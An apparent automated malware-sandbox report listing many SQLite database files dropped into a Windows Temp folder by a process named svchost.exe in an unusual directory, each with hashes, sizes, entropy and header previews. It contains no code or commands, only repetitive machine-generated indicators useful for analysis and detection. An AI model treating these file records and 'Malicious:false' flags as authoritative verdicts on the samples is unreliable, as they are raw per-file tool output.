                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\dm7419XrUD

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):196608
                                                                      Entropy (8bit):1.1215420383712111
                                                                      Encrypted:false
                                                                      SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                      MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                      SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                                      SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                      SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\dq7WTB5CeI

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\dzPi3zHcGN

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):1.3909341910495931
                                                                      Encrypted:false
                                                                      SSDEEP:48:ToyFawNLopFgU10XJBjKwsBjAFMtt/qEM0g9gingQeroAsaC7cUXt9P:cyxe8OwsiFMttSzefroYC7J9P
                                                                      MD5:1EB30D95ED94CA01369986C3811A0591
                                                                      SHA1:D7277FF6C5D5F55A4B0576045C2928D7501E7AFC
                                                                      SHA-256:CA8D4F98E4AD0ED1F66819E90024EB527A7A46DC26D84FB9FF5F1829B6331F46
                                                                      SHA-512:D5C8BA028977ABA2416D2C02D50FD2535F646003D8F443A01E00C6FC9385F16A6C051502D3947CABF592C619E3E0A22EC586AD57876E517C7B5BB749D396ABA7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\eDtHqqLUTF

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5707520969659783
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\eU2pnvwebT

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):49152
                                                                      Entropy (8bit):0.8180424350137764
                                                                      Encrypted:false
                                                                      SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                      MD5:349E6EB110E34A08924D92F6B334801D
                                                                      SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                      SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                      SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\egDVI2oViC

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\euiakVHJPV

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):196608
                                                                      Entropy (8bit):1.1215420383712111
                                                                      Encrypted:false
                                                                      SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                      MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                      SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                                      SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                      SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\f17mg8rIUd

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):51200
                                                                      Entropy (8bit):0.8746135976761988
                                                                      Encrypted:false
                                                                      SSDEEP:96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
                                                                      MD5:9E68EA772705B5EC0C83C2A97BB26324
                                                                      SHA1:243128040256A9112CEAC269D56AD6B21061FF80
                                                                      SHA-256:17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
                                                                      SHA-512:312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\fBeWbubx5r

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\fDSXg4c2QX

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\fKu1NFLgs0

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):1.3909341910495931
                                                                      Encrypted:false
                                                                      SSDEEP:48:ToyFawNLopFgU10XJBjKwsBjAFMtt/qEM0g9gingQeroAsaC7cUXt9P:cyxe8OwsiFMttSzefroYC7J9P
                                                                      MD5:1EB30D95ED94CA01369986C3811A0591
                                                                      SHA1:D7277FF6C5D5F55A4B0576045C2928D7501E7AFC
                                                                      SHA-256:CA8D4F98E4AD0ED1F66819E90024EB527A7A46DC26D84FB9FF5F1829B6331F46
                                                                      SHA-512:D5C8BA028977ABA2416D2C02D50FD2535F646003D8F443A01E00C6FC9385F16A6C051502D3947CABF592C619E3E0A22EC586AD57876E517C7B5BB749D396ABA7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\fV7jPAKDF8

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):196608
                                                                      Entropy (8bit):1.1215420383712111
                                                                      Encrypted:false
                                                                      SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                      MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                      SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                                      SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                      SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\faLGEXzAwU

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):51200
                                                                      Entropy (8bit):0.8746135976761988
                                                                      Encrypted:false
                                                                      SSDEEP:96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
                                                                      MD5:9E68EA772705B5EC0C83C2A97BB26324
                                                                      SHA1:243128040256A9112CEAC269D56AD6B21061FF80
                                                                      SHA-256:17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
                                                                      SHA-512:312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\ffUJBA5iMu

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\fr2SpizFKO

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.848598812124929
                                                                      Encrypted:false
                                                                      SSDEEP:24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
                                                                      MD5:9664DAA86F8917816B588C715D97BE07
                                                                      SHA1:FAD9771763CD861ED8F3A57004C4B371422B7761
                                                                      SHA-256:8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
                                                                      SHA-512:E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\g0Zf7auyoR

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5712781801655107
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\gC5mDYaA8D

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5707520969659783
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\gDHKtlI8UX

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):51200
                                                                      Entropy (8bit):0.8746135976761988
                                                                      Encrypted:false
                                                                      SSDEEP:96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
                                                                      MD5:9E68EA772705B5EC0C83C2A97BB26324
                                                                      SHA1:243128040256A9112CEAC269D56AD6B21061FF80
                                                                      SHA-256:17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
                                                                      SHA-512:312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\gXLt9s6Kv4

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\ggtXg7GUe3

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\h3m48XrK6G

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):196608
                                                                      Entropy (8bit):1.1215420383712111
                                                                      Encrypted:false
                                                                      SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                      MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                      SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                                      SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                      SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\hCjttLH9um

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.848598812124929
                                                                      Encrypted:false
                                                                      SSDEEP:24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
                                                                      MD5:9664DAA86F8917816B588C715D97BE07
                                                                      SHA1:FAD9771763CD861ED8F3A57004C4B371422B7761
                                                                      SHA-256:8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
                                                                      SHA-512:E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\hCqtNzCXrQ

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\hI5x53vsfQ

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\hLA0yX8Q7R

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
